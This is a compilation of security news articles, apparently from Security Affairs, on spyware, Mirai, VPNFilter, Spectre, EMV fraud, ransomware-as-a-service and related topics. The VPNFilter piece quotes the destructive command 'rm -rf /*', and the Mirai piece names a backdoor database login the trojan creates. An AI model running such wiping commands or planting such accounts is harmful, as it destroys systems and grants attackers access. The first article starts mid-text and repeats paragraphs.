surveillance firm RCS Lab. The video shows how the company’s spyware Mito3 could be used to spy on an unaware suspect., “Mito3 allows customers to listen in on the target, intercept voice calls, text messages, video calls, social media activities, and chats, apparently both on computer and mobile platforms. It also allows police to track the target and geo-locate it thanks to the GPS. It even offers automatic transcription of the recordings” reads a confidential brochure obtained by Motherboard., RCS Lab’s spyware Mito3 allows attackers to launch MiTM attacks against the victims injecting malicious content in the connection to any website he intends to visit. The software is very easy to use as explained in the post., “An agent can choose whatever site he or she wants to use as a vector, click on a dropdown menu and select “inject HTML” to force the malicious popup to appear, according to the video.”reported MotherBoard.”, , “Mito3 allows customers to listen in on the target, intercept voice calls, text messages, video calls, social media activities, and chats, apparently both on computer and mobile platforms. It also allows police to track the target and geo-locate it thanks to the GPS. It even offers automatic transcription of the recordings” reads a confidential brochure obtained by Motherboard., RCS Lab’s spyware Mito3 allows attackers to launch MiTM attacks against the victims injecting malicious content in the connection to any website he intends to visit. The software is very easy to use as explained int he post., “An agent can choose whatever site he or she wants to use as a vector, click on a dropdown menu and select “inject HTML” to force the malicious popup to appear, according to the video.”reported MotherBoard.”, , In the video the RCS employee chooses the mirc.com website (IRC chat client) as attack vector then inject with malware in order to compromise the target machine. When the victim visits the mirc.com website, it displays a fake Adobe Flash update installer pops up that is created by the surveillance software by injecting the malicious code. The user is urged to click install in order to proceed the navigation on the website, allowing the surveillance spyware to infect his machine., I wish to thank Motherboard and Lorenzo Bicchierai for their post that gives us more information on surveillance practices., Pierluigi Paganini, (Security Affairs – Surveillance software, spyware) |
702_17015 | Security researcher Dan Melamed has found 2 new Facebook vulnerabilities that has been recently patched and that I decided to shows you to understand the infinite possibilities an attacker have to hit also a robust platform like FB., The Facebook vulnerabilities are considerable a medium-severity bug and allow an attacker to invite any user to like a Facebook Fanpage. Dan Melamed has found 2 Facebook vulnerabilities within the Facebook Fan Page:, “To reproduce this flaw, you first visit a link with the ID of the page you want to invite friends to: will see a list of your friends to invite. When clicking to invite someone, you change the invitee_id parameter in the HTTP request to another Facebook user id that belongs to someone who is not in your friends list.”The CSRF flaw was that the request was using the GET method without any anti-csrf tokens: the link above would invite Mark Zuckerberg (profile id: 4) to like your fanpage.” |
2615_39143 | Drones are powerful machines and security experts are imagining day by day new usage scenarios. A group of security experts (Paul West Jauregui, Richard McPherson, Dallas Kaman, and Nishil Shaw, partnered with Chris Eyhorn) are exploiting a ZigBee-sniffing drone to map online Internet of Things devices to build a searchable archive., A team of researchers at the Praetorian firm has started a project to analyze the security of internet-of-things devices using the popular ZigBee communications protocol., , The goal of the researchers is to build a SHODAN-like search engine specialized for the internet of things devices, highlighting their security vulnerabilities., “At its core, this project is driven by exploration,” explained the researchers. “Where are these things? Who made them? What do they do? Are they secure? These are some of the questions we hope to answer.” “The first step of our exploration involves locating and fingerprinting ZigBee-enabled smart devices and networks. We’re starting local and expanding from here. It’s a big world to explore and billions of things to discover.”, The experts published on the official page of the project a real-time tracker that allows to see where is flying the drone., The experts have already uncovered more than 1600 unique internet of things devices, 453 of them are made by Sony, and 110 by Philips., , The experts are analyzing for each device security settings, manufacturer ID, channels, and other attributes. The researchers want to extend the use of drones to other cities and include data collected in their archive. For this reason they are planning to release the open-source blueprints for the project to allow another team of researchers to contribute to the initiative., The drone is able to log the locations of Internet of Things devices within a 100-meter range., “ZigBee is buzzing all around us, everywhere, everyday. In order to listen in on conversations taking place between machines, we’ve developed an autonomous, hand-held device that speaks the ZigBee language. It helps us humans better understand the conversations going on around us—a translator of sorts. The device is equipped with several ZigBee radios for communicating with the devices around it and an integrated GPS to triangulate the location of each device. It’s self-powered, weighs about 250g, and has software that makes it fully autonomous. While in operation, the device captures and logs the locations of all smart devices it finds within range (approximately 30-100 meters). Today, it can be held in your hand while taking a stroll around town or it can sit in your car while driving. Soon it will take flight on a drone.” the researchers explain on the web site of the project., The researcher used a six rotor drone equipped with ZigBee radios for communicating with Internet of Things devices and a GPS device to track their position., “Very soon, we’ll be releasing a full how-to build guide for our device, along with a release of the code the drives it, so other passionate engineers and hackers interested in ZigBee can start listening in to the machines around them,” the team says., Stay tuned!, Pierluigi Paganini, (Security Affairs – drone, Internet of Things) |
5390_60472 | Ransomware represents a profitable business for crooks, it is normal that the offer of Ransomware-as-a-Service (RaaS) will continue its success in the cyber criminal ecosystem., Over the weekend, several security experts discovered a new Ransomware-as-a-Service website that allows wannabe cyber criminals to create their own ransomware just by filling in three form fields., The website was hosted on the Dark Web and customers can pay their ransomware in Bitcoin., , This is probably one of the easiest-to-use RaaS websites, the ransomware was dubbed Shifr due to the extension it appends to the encrypted files and is written in Go., “We’ve called it Shifr based on the extension it adds to encrypted files, but G Data security researcher Karsten Hahn has told Bleeping Computer that an initial analysis of this new threat reveals clues that Shifr might be related to Trojan.Encoder.6491, the first ever ransomware written in Go, discovered last year by Dr.Web security researchers.” states a blog post published by BleepingComputer., The process for the creation of the Shifr ransomware is simple, wannabe criminals have to provide the size of the ransom demanded by the malware, a Bitcoin address to handle victims’ payments and then they have to solve a CAPTCHA challenge and press a button., “While other RaaS portals will ask for an entry fee or verify their clients to ensure only skilled crooks (and not security researchers) get their hands on ransomware samples, this service offers a fully weaponized sample in a few easy steps.” states Catalin Cimpanu from BleepingComputer., After the deployment of the service, users started submitting Shifr samples to VirusTotal and many antivirus makers are currently detecting them as a threat., Differently, from other RaaS services, operators behind Shifr maintain for them just 10% of the fee, it nothing is we consider that operators behind the Cerber RaaS keep for them 60% share., We cannot exclude in this phase that the Shifr RaaS is a scam and that operators will not pay distributors their cuts., The unique certainly is that the ransomware is not sophisticated and lack of many features, a circumstance that suggests it could be a work in progress project., The researchers, for example, noticed that the crooks used the same servers to host the payment portal and the RaaS service, it isn’t a good practice., It is quite easy to predict the rapid diffusion of RaaS services in the next month., Pierluigi Paganini, (Security Affairs – Shifr RaaS, ransomware) |
1534_29047 | Do not underestimate the SQL Injection attacks … they could seriously damage your business., Pierluigi Paganini, (Security Affairs – Yahoo contributor network, SQL injection) |
4842_56103 | Security experts at the antivirus firm Dr.Web discovered a new strain of the Mirai bot targeting more ports, and it is a Windows version of the popular IoT malware., The Windows version of the Mirai bot was being used by some criminals to infect IoT devices and carry out DDoS attacks through the spreading of the Mirai Linux malware., “One of the recent developments on the Mirai malware front was discovered by Russian cyber-security firm Dr.Web, whose experts came across a Windows trojan built with the sole purpose of helping Mirai spread to even more devices” wrote BleepingComputes.com., The Mirai malware was spotted by the researcher MalwareMustDie in August 2016, it was specifically designed to target IoT devices., , It infected thousands of routers and IoT devices, including DVRs and CCTV system). When the Mirai bot infects a device, it chooses random IPs and attempts to log via the Telnet and SSH port using a list of admin credentials., Back to the present, the researchers from Dr. Web dubbed the threat Trojan.Mirai.1., “A Trojan for Microsoft Windows written in C++. Designed to scan TCP ports from the indicated range of IP addresses in order to execute various commands and distribute other malware.” states Dr. Web., “When launched, the Trojan connects to its command and control server, downloads the configuration file (wpd.dat) and extracts the list of IP addresses. Then the scanner is launched: it refers to the listed addresses and simultaneously checks several ports.” , Unlike the original Mirai Linux malware, Trojan.Mirai.1 scans more ports., “The Trojan can address the following ports:, When the Trojan.Mirai.1 succeeds infecting a new device, if the device runs the Linux OS, it executes a series of commands, which end up with the creation of a new DDoS Mirai bot. Instead, if the device that has been infected is is running the Windows OS, it releases a copy of itself., “It also creates DBMS user with login Mssqla and password Bus3456#qwein, grants him sysadmin privileges. Acting under the name of this user and with the help of SQL server event service, various tasks are executed.” continues the analysis., “The only exception is a connection via RDP protocol: in this case, none of the instructions are executed. Besides that, while connecting to the Linux device via Telnet protocol, it downloads a binary file on the compromised device, and this file subsequently downloads and launches Linux.Mirai.”, Below some Trojan.Mirai.1’s hash in SHA1:, Written by: @GranetMan
Granet is a young and Junior IT Security Researcher, he is passionate in Linux, Arduino, Digital Forensics, Cyber Security, Free software and Malware Analysis, , , Pierluigi Paganini, (Security Affairs – Mirai bot, IoT) |
4439_52895 | A few weeks ago, a group of researchers from Ben-Gurion University of the Negev’s Cyber-Security Research Center demonstrated how it is possible to significantly disrupt the US’ 911 emergency call system.
An attacker could use a botnet of compromised mobile devices located throughout the country to knock the 911 service offline in an entire state for entire days., Another possibility for the attackers is to thousands of smartphones that could be used to power a massive TDoS attack., Such kind of attacks could be very dangerous for the population, due to the interruption of a public service., News of the day is that an 18-year-old man from Arizona, Meetkumar Hiteshbhai Desai, was arrested this week because he is suspected for the severe disruption of 911 service., , The youngster used one of his iOS exploits to compromise mobile devices to gain full control of them., “Surprise PD had believed that the calls were coming from smart phones and tablets. A link through Twitter was believed to be the cause of people’s phones dialing 911 over and over and not allowing them to hang up. Cyber Crimes Detectives found a Twitter account with about 12,000 followers which encouraged followers to click on the link to see the latest post” reads a press release from the Cyber Crimes Unit of Maricopa County Sheriff’s Office., “This webpage domain was hosted out of San Francisco, California and ultimately sheriff’s detectives were able to shut it down to stop the potential immediate threat to the 911 emergency systems which could have possibly been compromised if enough users had clicked on the link.”, After being notified of disruption to the 911 service in the Phoenix area, the police immediately launched an investigation monitoring Meet online activity. Law enforcement discovered the way he powered the attack against the 911 service., When Meet was arrested, he explained to Sheriff’s detectives that he was trying to find out bugs and malware that could be used to hack into Apple smartphone. He was interested in the bug bounty program of the company., Desai explained he was uploading a script that simply displayed pop-ups and caused iOS devices to reboot, but he mistakenly published the link to force iOS devices to dial 911 service and hang up continually., Desai created several exploits for the flaw he found, then he shared a link to one of his JavaScript exploits on his Twitter account and other websites., Mobile users clicking on the link triggered the exploit and their mobile devices started calling the 911 service non-stop, in this way the 911 call center was flooded with more than 100 hang-up calls is a few minutes earlier this week., Desai risks fifteen years in prison, five years per Class 2 Felony count., Pierluigi Paganini, (Security Affairs – TDoS , cybercrime) |
2909_41253 | On October 1st, EMV (Europay, MasterCard, Visa) cards have been introduced in the US to improve the security of payment card holders. EMV cards, also known as chip-and-PIN cards, rely on a cryptographic chip to improve security of banking transaction and avoid frauds. The EMV technology has been used in Europe for many years, each transaction is composed of three phases, the card authentication, the cardholder verification, and the authorization of the transaction., In the first phase, the PoS system determines which applications are supported by the card (e.g. Debit, credit, ATM, loyalty), in the next cardholder verification phase, the PoS verifies the cardholder by requesting the PIN and transmits it to the card., In the transaction authorization phase, the transaction data is sent to the card (i.e. amount, currency, date and other transaction details). The card responds with an authorization request cryptogram that is sent to the card issuer that responds with an authorization request code that instructs the PoS on how the transaction should be handled., Are EMV cards totally secure?, In 2010, a group of researchers at the University of Cambridge discovered a vulnerability flaw that allowed crooks to use stolen chip-and-PIN cards without knowing the associated PIN., They explained that the vulnerability was triggered by using an electronic device that acted as a man-in-the-middle (MitM). The device was used to prevent the PIN verification message from getting to the card in the second phase of the transaction and emulating the same behavior for successful PIN submission., The team of researchers also explained that it would be possible to miniaturize the MitM device making it possible to attach it to the card. The experts admitted this was the “most sophisticated smart card fraud encountered to date.”, In subsequent years, the security experts observed that many EMV cards stolen in France had been fraudulently used in Belgium., The investigators analyzed the mobile devices present in the nearby of the places where the cards were used and discovered in all the cases that a 25-year-old woman was present. Law enforcement arrested the woman and later her accomplices., Among the member arrested by the authorities, there was also the mind of the organization, the engineer who created the fake chip-and-PIN cards., According to the law enforcement, the cyber gang has conducted nearly 7,000 transactions using 40 modified cards. Fraudsters stole €600,000 ($680,000) with the technique uncovered by the researchers., A group of researchers from France’s École Normale Supérieure as well as the Centre Microélectronique de Provence made a forensic analysis of the evidence from the 2011 arrests and to analyze the attack method implemented by fraudsters., As a result of their work, this month the researchers published a detailed analysis of the attack scheme., In a paper published earlier this month, experts said the fraudsters used two chip stacked to run the attack. The first chip was the legitimate one clipped from the stolen EMV card, while the second was used as the MitM device. This second card was a FUN card that accepts any submitted PIN, even if it is incorrect., , , The chip from the genuine card was used to conduct the card authentication and transaction authorization phases, while the cardholder verification step was hijacked by the FUN chip., , The two stacked chips were embedded into a new plastic card, but it could still be inserted into a PoS reader., Is the attack still feasible?, The researchers explained that the attack is no more feasible due to the introduction of a new authentication mode dubbed “Combined Data Authentication” or CDA, and other network-level protections., Pierluigi Paganini, (Security Affairs – EVM card, cybercrime) |
6920_74365 | Intel has paid out a $100,000 bug bounty for new vulnerabilities that are related to the first variant of the Spectre attack (CVE-2017-5753), for this reason, they have been tracked as Spectre 1.1 (CVE-2018-3693) and Spectre 1.2., Intel credited Kiriansky and Waldspurger for the vulnerabilities to Intel and paid out $100,000 to Kiriansky via the bug bounty program on HackerOne., Early 2018, researchers from Google Project Zero disclosed details of both Spectre Variants 1 and 2 (CVE-2017-5753 and CVE-2017-5715) and Meltdown (CVE-2017-5754)., Both attacks leverage the “speculative execution” technique used by most modern CPUs to optimize performance., The team of experts composed of Vladimir Kiriansky of MIT and Carl Waldspurger of Carl Waldspurger Consulting discovered two new variants of Spectre Variant 1., Back to the present, the Spectre 1.1 issue is a bounds-check bypass store flaw that could be exploited by attackers to trigger speculative buffer overflows and execute arbitrary code on the vulnerable processor., This code could potentially be exploited to exfiltrate sensitive data from the CPU memory, including passwords and cryptographic keys., “We introduce Spectre1.1, a new Spectre-v1 variant that leverages speculative stores to create speculative buffer overflows. Much like classic buffer overflows, speculative out-ofbounds stores can modify data and code pointers. Data-value attacks can bypass some Spectre-v1 mitigations, either directly or by redirecting control flow.” reads the research paper., “Control-flow attacks enable arbitrary speculative code execution, which can bypass
fence instructions and all other software mitigations for previous speculative-execution attacks.”, , The second sub-variant discovered by the experts, called Spectre1.2 is a read-only protection bypass, It depends on lazy PTE enforcement that is the same mechanism exploited for the original Meltdown attack., “Spectre3.0, aka Meltdown 39, relies on lazy enforcement of User/Supervisor protection flags for page-table entries (PTEs). The same mechanism can also be used to bypass the Read/Write PTE flags. We introduce Spectre1.2, a minor variant of Spectre-v1 which depends on lazy PTE enforcement, similar to Spectre-v3.”In a Spectre1.2 attack, speculative stores are allowed to overwrite read-only data, code pointers, and code metadata, including vtables, GOT/IAT, and control-flow mitigation metadata. As a result, sandboxing that depends on hardware enforcement of read-only memory is rendered ineffective.,” continues the research paper., ARM confirmed that Spectre 1.1 flaw affects also its processor but avoided to mention flawed ARM CPUs., Mayor tech firms, including Microsoft, Red Hat and Oracle have released security advisories, confirming that they are investigating the issues and potential effects of the new Spectre variants., “Microsoft is aware of a new publicly disclosed class of vulnerabilities referred to as “speculative execution side-channel attacks” that affect many modern processors and operating systems including Intel, AMD, and ARM. Note: this issue will affect other systems such as Android, Chrome, iOS, MacOS, so we advise customers to seek out guidance from those vendors.” reads the advisory published by Microsoft., “An attacker who successfully exploited these vulnerabilities may be able to read privileged data across trust boundaries. In shared resource environments (such as exists in some cloud services configurations), these vulnerabilities could allow one virtual machine to improperly access information from another.” , Pierluigi Paganini, (Security Affairs – Spectre 1.1, hacking) |
6781_73280 | The VPNFilter botnet is worse than initially thought, according to a new report published by Cisco Talos Intelligence group, the malicious code is now targeting ASUS, D-Link, Huawei, Ubiquiti, UPVEL, and ZTE, “First, we have determined that additional devices are being targeted by this actor, including some from vendors that are new to the target list. These new vendors are ASUS, D-Link, Huawei, Ubiquiti, UPVEL, and ZTE.” reads a new analysis published by Talos team., “New devices were also discovered from Linksys, MikroTik, Netgear, and TP-Link. Our research currently shows that no Cisco network devices are affected.”, VPNFilter bot is now able to target endpoints behind the firewall and other network devices using a new stage 3 module that injects malicious content into web traffic, The recently discovered module dubbed “ssler” could be exploited by attackers to deliver exploits to endpoints via a man-in-the-middle capability (e.g. they can intercept network traffic and inject malicious code into it without the user’s knowledge)., “The ssler module, which we pronounce as “Esler,” provides data exfiltration and JavaScript injection capabilities by intercepting all traffic passing through the device destined for port 80. This module is expected to be executed with a parameter list, which determines the module’s behavior and which websites should be targeted.” continues the analysis., VPNFilter initially infected over 500,000 routers and NAS devices, most of them in Ukraine, but fortunately, a prompt action of authorities allowed to take down it., A week ago, experts from security firms GreyNoise Intelligence and JASK announced that the threat actor behind the VPNFilter is now attempting to resume the botnet with a new wave of infections., Talos researchers confirmed that more devices from Linksys, MikroTik, Netgear, and TP-Link are affected, this means that the botnet could rapidly grow to infect new consumer or SOHO devices., Talos already notified the attacks to the vendors, most of them promptly started working on new firmware to address the issue., , According to experts at Juniper Networks, the VPNFilter bot doesn’t exploit a zero-day vulnerability., “The initial list of targeted routers included MicroTik, Linksys, NetGear, and TPLink. It is now expanded to include devices from ASUS, D-Link, Huawei, Ubiquiti, UPVEL and ZTE.” reads a post published by Juniper Network., “We still do not believe this list is complete as more infected devices are being discovered. There is still no sign of any zero day vulnerability being exploited, so it is likely that known vulnerabilities and weak passwords are the main vector of infection.” , The new attacks observed by Talos leverage compromised SOHO routers to inject content into web traffic using the ssler module., The experts noticed that one of the parameters provided to the module it the source IP, a circumstance that suggests attackers might be profiling endpoints to pick out the best targets. The module is also able to monitor destination IP, likely to choose profitable targets, such as connection to a bank, or connections on which are credentials and other sensitive data are in transit., The experts also provided further details on the device destruction module ‘dstr’ that attackers could use to render an infected device inoperable., The dstr module is able to delete files necessary for normal operation of the infected device, it also deletes all files and folders related to its own operation to hide its presence to a forensic analysis., “The dstr module clears flash memory by overwriting the bytes of all available /dev/mtdX devices with a 0xFF byte. Finally, the shell command rm -rf /* is executed to delete the remainder of the file system and the device is rebooted. At this point, the device will not have any of the files it needs to operate and fail to boot.” continues the analysis., The following table published by El Reg shows all devices targeted by the VPNFilter bot, new ones are marked with an asterisk., Further technical details are available in the report published by Talos., Pierluigi Paganini, (Security Affairs – VPNFilter botnet, malware) |
7714_80685 | Security experts are warning Ubiquit users of a vulnerability that has already been exploited in the wild., Last week, the researcher Jim Troutman, consultant and director of the Northern New England Neutral Internet Exchange (NNENIX), revealed that threat actors had been targeting Ubiquiti installs exposed online. Remote attackers were targeting the networking devices exposed via a discovery service accessible on UDP port 10001., According to the expert, the devices are affected by a DoS flaw that attackers were attempting to trigger. , The vulnerability is not a novelty in the security and Ubiquiti communities, in June the issue was discussed in a thread on the Ubiquiti forums where users were warning of a possible exploit used in the wild., Now security experts at Rapid7 revealed that they were monitoring suspicious traffic destined for port 10001 for at least one year. , Ubiquiti is aware of the issue and is currently working on a firmware update that will address it anyway it is trying to downplay it., “There has been some discussion lately about a bug in airOS which can result in management access to airOS devices becoming inoperable until these devices are rebooted. This issue appears to be caused by external access to airOS devices using port 10001. As a temporary workaround for this issue while it is being investigated and resolved by the development team, network operators can block port 10001 at the network perimeter.” reads the advisory published by Ubiquit. , “To our current knowledge, this issue cannot be used to gain control of network devices or to create a DDoS attack.” , Waiting for a fix, Ubiquiti recommends blocking UDP port 10001, but this solution could have a disruptive effect on some services., Scanning the Internet for vulnerable devices using the Rapid7’s Sonar project, experts found roughly 490,000 devices exposed online. Most of the vulnerable Ubiquiti devices are located in Brazil, followed by the United States, and Spain., “By decoding the responses, we are able to learn about the nature of these devices and clues as to how or why they are exposed publicly.” continues Rapid7. For example, by grouping by the model names returned by these responses, we see big clusters around all sorts of Ubiquiti models/devices:”, The analysis of the names of the device revealed that in 17,000 cases they contain the string “HACKED-ROUTER-HELP-SOS,” a circumstance that suggests that they have already been hacked by exploiting other vulnerabilities., Rapid7 reported its findings to US-CERT, CERT Brazil, and of course Ubiquiti. , Pierluigi Paganini, (Security Affairs – hacking, Ubiquiti) |
1818_32146 | At this historical moment, governments are facing increasingly dangerous cyber threats, but their activities are hampered by the large diffusion of encryption mechanisms., Following the Snowden‘s revelations, several IT firms like Google and Apple are adopting encryption by design to avoid government surveillance, the same trend is observed for the principal applications, this evolution is complicating the investigations of law enforcement., The British Government is evaluating to ban some Online Messaging Apps that could not allow law enforcement investigation, including the popular Snapchat and WhatsApp., Early this week the Prime Minister David Cameron explained that the UK Government would pursue banning encrypted messaging services if national intelligence services were not given access to the communications., The recent terroristic acts are increasing the fear of European Governments about the exploitation of the web for propaganda or for attack vectors, hacktivists and jihadists. The same concerns is shared also with overseas Intelligence, the US Government, for example, is aware that terrorists groups are training their members on best practices to avoid the law enforcement monitoring., , Speaking before the House Armed Services Committee the US Defense is worried by the capabilities of the ISIS members for keeping their communications covert., Security and media consider the ISIS a group with great cyber capabilities, recently is circulated on the web a Training Guide for its members to prevent the NSA spying. The manual is titled “How to Tweet Safely Without Giving out Your Location to NSA” Manual. According to US officials, ISIS members are encrypting their communications and taking steps to avoid the US surveillance. Monitoring of communications is strategically for Intelligence activities, due to the limited resources operating in the territories occupied by the organization., Many European politicians are demanding that Internet companies like Google and Facebook provide support Intelligence agencies by providing information about people’s online activities., Mr. Cameron confirmed that if he will be confirmed in the next national election in Britain in May, his government would ban encrypted online communication applications that could be exploited for illegal activities and terrorism. Mr. Cameron pretends that national intelligence agencies will be able to monitor online users’ activities and their communications., The government is planning to introduce a series of reforms included in a new legislation that would force telecom operators and Internet service providers to archive a huge quantity of data related customer’s online activities, including social network messages., “Are we going to allow a means of communications which it simply isn’t possible to read?” Mr. Cameron declared in reference to services like WhatsApp, Snapchat and other encrypted online tool. “My answer to that question is: ‘No, we must not.’ ”, Mr. Cameron motivated the ban with the need to protect his population from terrorist attacks and other threats, the ban could be effective at the earliest in 2016., “The attacks in Paris demonstrated the scale of the threat that we face and the need to have robust powers through our intelligence and security agencies in order to keep our people safe,” he added., Mr. Cameron hasn’t provided further information on how the British government could stop users from using the apps., “We are concerned at the increasingly frequent use of the Internet to fuel hatred and violence and signal our determination to ensure that the Internet is not abused to this end,” European Union politicians said in a joint statement., European Intelligence agencies have already had contact with the major US tech firms, but the company refused to provide any direct access to their systems to the agents., “Last year, European officials also met with some American tech giants, including Microsoft and Twitter, to discuss how companies could control what was published on their networks, though the companies have resisted greater oversight by intelligence services.Yet in a sign that tech companies are coming under increased scrutiny, British lawmakers blamed Facebook in November for failing to tell the country’s authorities about specific online threats made by two men, who later killed a soldier in London in 2013.”reported The New York Time., At the time I’m writing Facebook hasn’t commented on the accusations and confirmed that it had taken necessary step to prevent the diffusion of propaganda activities on his social network., Pierluigi Paganini, (Security Affairs – Online Messaging Apps, Surveillance) |
413_10693 | No peace for mobile environment that due its impressive increase is attracting cyber criminals and hackers like never before., The researcher Atul Alex has presented at last edition of International Malware Conference (MalCon) how it is possible to attack every mobile devices with a special hardware designed using common electronic components., Atul Alex presented a paper that covers “abusing voice dialing and combining Arduino / Microcontroller to steal private data on iphone, Android, Windows Phone and Blackberry using only the Audio jack., , Mobile devices are sophisticated devices that manage a huge quantity user’s information and their exploit could open the door to a mine of sensible data, due this reason the expert provides that in incoming months defense system will be reinforced and it will be more difficult in the future software based attacks., It must be considered that an efficient attack on large scale against mobile world have to be able to infect multi platform devices., During its presentation Atul Alex explained how to transform any mobile device into a spy tool, avoiding the installation of any malicious software on it, abusing voice dialing feature which is enabled by default on all mobile platforms., Modern devices are equipped with powerful software able to interpret user’s vocal commands, the hardware device proposed by Alex Atul is able to mimic them to give orders to the device. The functionality opens future scenarios in which hackers are able to control phone simply sending unauthorized text messages to steal sensible data., Almost all events on the mobile are notified to the user with the help of corresponding tones/sounds, the researched has demonstrated that adding a microcontroller to the headset’s circuit is possible to:, In the future versions the hardware could also integrate more complex functionalities such as recording of phone calls or remote activation of the device., For sure similar devices will represent in the future a privileged option for cyber espionage operations and more in general for cyber operations. Many governments are working or financing projects for development of new cyber tools. Government agencies have massively invested in programs to “violate” citizen’s privacy in the name of national security, world is changed from 11/9 and the risk of a new dramatic cyber attack is high., The Defense Advanced Research Projects Agency (DARPA) is one of the most advanced agency in this sense, it is responsible for the development of new technologies for use by the military and recently it has proposed a device called the Power Pwn designed by Pwnie Express company that apparently look like a surge protector, but it’s a powerful tool to infiltrate networks allowing remote access to every machine., How to defend our device from similar attacks? In the future every interface of mobile device have to be properly designed, every input must be validated by a specially designed circuitry., Another factor to consider as critical is the qualification of hardware for devices similar to the one described in the research , different compromised components may invade the consumer market with disastrous consequences, it is necessary a great effort to avoid dangerous incidents., Pierluigi Paganini |
2475_38174 | On 16 and 17 June another joint operation conducted by law enforcement worldwide allowed the arrest of 130 individuals. The authorities operated at 140 airports in 49 countries on five continents, the investigators found the suspects in possession of airline tickets bought with stolen credit card data., The operation involved agents of three coordination centers at Europol in The Hague, Interpol in Singapore and Ameripol in Bogota. Canadian and US law enforcement agencies also supported the activities. This effort against airline fraudsters is part of a wider Operation Blue Amber conducted by polices worldwide., Criminal organizations are increasingly adopting purchases of flight tickets as cash out mechanism resulting in huge losses (estimated at EUR 1 billion) for airline companies and victims of credit card frauds., “Since airline ticket fraud is a complex and global phenomenon posing certain security issues, targeting the organised crime groups active in this are requires communication between airlines, issuing banks, payment card schemes, IATA and law enforcement on an international level.” states the report published by the Europol., The operation requested the collaboration of 33 airlines and 5 travel agencies in Europe, which was the victims of the frauds. During the two-day operation the law enforcement established a command post at the Europol’s European Cybercrime Centre (EC3) that hosted representatives of the authorities from airlines, and major credit card companies., The pool has worked to identify fraudulent activities at the airports, during the operation 222 suspicious transactions were discovered and 130 persons were detained by police., “This operation was the culmination of many months of meticulous planning between Europol, law enforcement, prosecuting and border control agencies, airlines and credit card companies, and is a perfect example of how our combined forces can track down the organised crime gangs involved in this large-scale fraud and other offences. Along with our partners, we are committed to continue developing new levels of cooperation and new methods for fighting this type of crime,” said Wil van Gemert, Deputy Director Operations at Europol., , The experts highlighted how fraudulently purchasing plane tickets online using compromised credit cards is a facilitator of other forms of crime., “One of the lessons learned from previous editions is that, although this global action targets criminals suspected of fraudulently purchasing plane tickets online using compromised credit cards, in many cases it was shown how airline fraud is a facilitator of other forms of crime. During the global operation on 16 and 17 June the individuals arrested were involved in other forms of crimes, including trafficking of human beings, illegal immigration, smuggling of goods, drug trafficking, fraud, cybercrime and terrorism. In this sense, this type of action is effective in uncovering other forms of serious crime, providing added security at the airports.”, Fraud represents a significant cost for the airline industry, for this reason the success of law enforcement against airline fraudsters is even more important for both private companies and passengers., “Fraud represents a significant cost burden for the airline industry, a cost that ends up being passed on to all passengers. Hence, IATA takes a particular interest in all initiatives designed to challenge fraudsters. We are proud to have supported Europol in planning and rolling out this global and hugely successful operation. This illustrates the type of close and trusted collaboration we want to build between the airline industry and law enforcement agencies worldwide.” said Aleks Popovich, IATA Senior Vice President, Financial and Distribution Services., Stay Tuned., Pierluigi Paganini, (Security Affairs – Europol, airline fraudsters) |
5798_64069 | North Korean state-sponsored hackers are launching almost daily attacks on Irish companies and critical infrastructure, they are also suspected to be responsible for the €4.3m cyber heist on Meath County Council in October 2016., Ireland is considered a privileged target of nation-state actors due to the presence of many US multinationals., Defence Minister Paul Kehoe recognized the urgency to rapidly improve the security of national infrastructure against cyber attacks., The overall cost of cyber attacks on Irish companies has soared from €498,000 in 2014 to €1.7m in 2016, and the situation will be worst in a next future., “The number of cyber attacks suffered by Irish businesses doubled between 2012 and 2016, but that figure is expected to double or even treble because of recent ransomware attacks.” reported the Irish Independent., North Korea has recently turned to international cyber robbery to fund its military operations, and Ireland is on the front line of the cyber battle., “But North Korea has thrown the entire rule book out the window. It is basically engaging in cyber warfare to raise funds and to cause global chaos.” explained the expert Ronan Murphy form Smarttech247., “There is no safe hiding place anymore. These aren’t ordinary criminal gangs – you are essentially dealing with state cyber intelligence units.”, Murphy attributed the massive WannaCry ransomware attack to the North Korean attack that was financially motivated by that only netted a measly €120,000 for Pyongyang., , Murphy highlighted the importance to improve security defenses against even more sophisticated cyber attacks., “These probing attacks are occurring almost 24/7 on Irish networks and, in most cases, the firms involved are simply not aware of it.” added Murphy., “Smarttech logged an incredible 21 million attacks last year – and the rate of attacks is increasing on a daily basis.” continues the Independent., According to a recent nationwide cyber security awareness survey, over 171,000 Irish businesses could be vulnerable to ransomware-based attacks., Pierluigi Paganini, (Security Affairs – North Korea, state-sponsored hackers) |
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